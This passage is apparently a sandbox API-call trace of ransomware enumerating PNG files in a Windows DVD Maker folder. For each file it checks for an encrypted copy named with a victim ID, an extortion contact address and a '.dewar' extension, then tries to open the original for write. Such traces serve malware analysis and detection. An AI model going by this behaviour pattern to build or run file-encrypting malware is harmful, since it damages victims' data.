maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0249.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.939] SetEvent (hEvent=0x118) returned 1 [0249.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.940] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4669) returned 1 [0249.940] CloseHandle (hObject=0x1fc) returned 1 [0249.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0249.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0249.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.945] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=26516) returned 1 [0249.945] CloseHandle (hObject=0x1fc) returned 1 [0249.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0249.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0249.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.947] SetEvent (hEvent=0x118) returned 1 [0249.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.949] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5088) returned 1 [0249.949] CloseHandle (hObject=0x1fc) returned 1 [0249.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0249.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0249.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.954] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3130) returned 1 [0249.954] CloseHandle (hObject=0x1fc) returned 1 [0249.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0249.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0249.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.955] SetEvent (hEvent=0x118) returned 1 [0249.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.959] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5025) returned 1 [0249.959] CloseHandle (hObject=0x1fc) returned 1 [0249.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0249.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0249.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.960] SetEvent (hEvent=0x118) returned 1 [0249.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.965] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3118) returned 1 [0249.965] CloseHandle (hObject=0x1fc) returned 1 [0249.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0249.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0249.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.966] SetEvent (hEvent=0x118) returned 1 [0249.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.969] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4955) returned 1 [0249.969] CloseHandle (hObject=0x1fc) returned 1 [0249.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0249.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0249.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.971] SetEvent (hEvent=0x118) returned 1 [0249.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.974] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3081) returned 1 [0249.974] CloseHandle (hObject=0x1fc) returned 1 [0249.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0249.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0249.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.975] SetEvent (hEvent=0x118) returned 1 [0249.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.977] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2962) returned 1 [0249.977] CloseHandle (hObject=0x1fc) returned 1 [0249.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0249.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0249.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.982] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=30138) returned 1 [0249.982] CloseHandle (hObject=0x1fc) returned 1 [0250.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0250.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0250.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.626] SetEvent (hEvent=0x118) returned 1 [0250.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.629] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=17378) returned 1 [0250.629] CloseHandle (hObject=0x1fc) returned 1 [0250.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0250.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0250.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.630] SetEvent (hEvent=0x118) returned 1 [0250.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.631] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2903) returned 1 [0250.632] CloseHandle (hObject=0x1fc) returned 1 [0250.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0250.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0250.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.634] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5088) returned 1 [0250.634] CloseHandle (hObject=0x1fc) returned 1 [0250.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0250.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0250.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.636] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3130) returned 1 [0250.636] CloseHandle (hObject=0x1fc) returned 1 [0250.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png")) returned 0x20 [0250.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png")) returned 0x20 [0250.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 